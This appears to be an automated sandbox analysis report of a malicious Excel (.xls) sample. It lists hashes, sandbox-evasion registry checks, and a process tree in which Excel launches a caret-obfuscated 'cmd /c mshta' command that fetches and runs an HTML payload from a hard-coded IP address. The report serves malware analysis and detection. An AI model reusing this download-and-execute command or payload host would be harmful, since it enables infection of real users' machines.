Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 22:18
Behavioral task
behavioral1
Sample
3df88fd8cc94b643c0abce07b76576a2e4ac0304d9a1a6d4bbaa6bf60f6d7d47.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
3df88fd8cc94b643c0abce07b76576a2e4ac0304d9a1a6d4bbaa6bf60f6d7d47.xls
Resource
win10v2004-20241007-en
General
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Target
3df88fd8cc94b643c0abce07b76576a2e4ac0304d9a1a6d4bbaa6bf60f6d7d47.xls
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Size
142KB
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MD5
d889b0d126a586065548721f01fc92a7
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SHA1
d4aa924bd0390658d4bf3bf7085406235e5df1e6
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SHA256
3df88fd8cc94b643c0abce07b76576a2e4ac0304d9a1a6d4bbaa6bf60f6d7d47
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SHA512
16e047fdc39057a5b8d889817c3d1cb1fbd2917c4b59877fd1ef6a9f323f68e8dbcf25255e38dfcd8b239a7abbd9c61900b11399d082b455a5ef5049ea878f1d
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SSDEEP
3072:+5+nBqm9k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIMEvN8B/W6X1yxYovrepMUdQm:i+nBqm9k3hbdlylKsgqopeJBWhZFVE+g
Malware Config
Extracted
http://185.7.214.7/ve/ve.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4676 4600 cmd.exe 81 -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid Process 14 3520 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid Process 4600 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid Process 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid Process procid_target PID 4600 wrote to memory of 4676 4600 EXCEL.EXE 83 PID 4600 wrote to memory of 4676 4600 EXCEL.EXE 83 PID 4676 wrote to memory of 3520 4676 cmd.exe 85 PID 4676 wrote to memory of 3520 4676 cmd.exe 85
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3df88fd8cc94b643c0abce07b76576a2e4ac0304d9a1a6d4bbaa6bf60f6d7d47.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\system32\mshta.exemshta http://185.7.214.7/ve/ve.html3⤵
- Blocklisted process makes network request
PID:3520
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